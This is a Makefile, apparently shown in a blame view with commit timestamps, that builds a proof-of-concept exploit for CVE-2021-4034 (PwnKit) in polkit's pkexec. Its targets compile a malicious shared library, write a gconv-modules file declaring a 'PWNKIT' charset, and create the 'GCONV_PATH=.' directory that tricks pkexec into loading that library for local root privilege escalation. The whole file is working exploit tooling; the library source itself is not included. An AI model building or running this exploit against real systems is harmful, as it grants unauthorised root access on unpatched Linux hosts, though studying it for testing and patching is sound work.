2022-01-26 03:03:31 +03:00
|
|
|
CFLAGS=-Wall
|
2022-01-26 05:35:14 +03:00
|
|
|
TRUE=$(shell which true)
|
2022-01-26 03:03:31 +03:00
|
|
|
|
|
|
|
.PHONY: all
|
|
|
|
all: pwnkit.so cve-2021-4034 gconv-modules gconvpath
|
|
|
|
|
|
|
|
.PHONY: clean
|
|
|
|
clean:
|
|
|
|
rm -rf pwnkit.so cve-2021-4034 gconv-modules GCONV_PATH=./
|
2022-01-28 17:19:36 +03:00
|
|
|
make -C dry-run clean
|
2022-01-26 03:03:31 +03:00
|
|
|
|
|
|
|
gconv-modules:
|
|
|
|
echo "module UTF-8// PWNKIT// pwnkit 1" > $@
|
|
|
|
|
|
|
|
.PHONY: gconvpath
|
|
|
|
gconvpath:
|
|
|
|
mkdir -p GCONV_PATH=.
|
2022-01-26 05:35:14 +03:00
|
|
|
cp $(TRUE) GCONV_PATH=./pwnkit.so:.
|
2022-01-26 03:03:31 +03:00
|
|
|
|
|
|
|
pwnkit.so: pwnkit.c
|
|
|
|
$(CC) $(CFLAGS) --shared -fPIC -o $@ $<
|
2022-01-28 17:19:36 +03:00
|
|
|
|
|
|
|
.PHONY: dry-run
|
|
|
|
dry-run:
|
|
|
|
make -C dry-run
|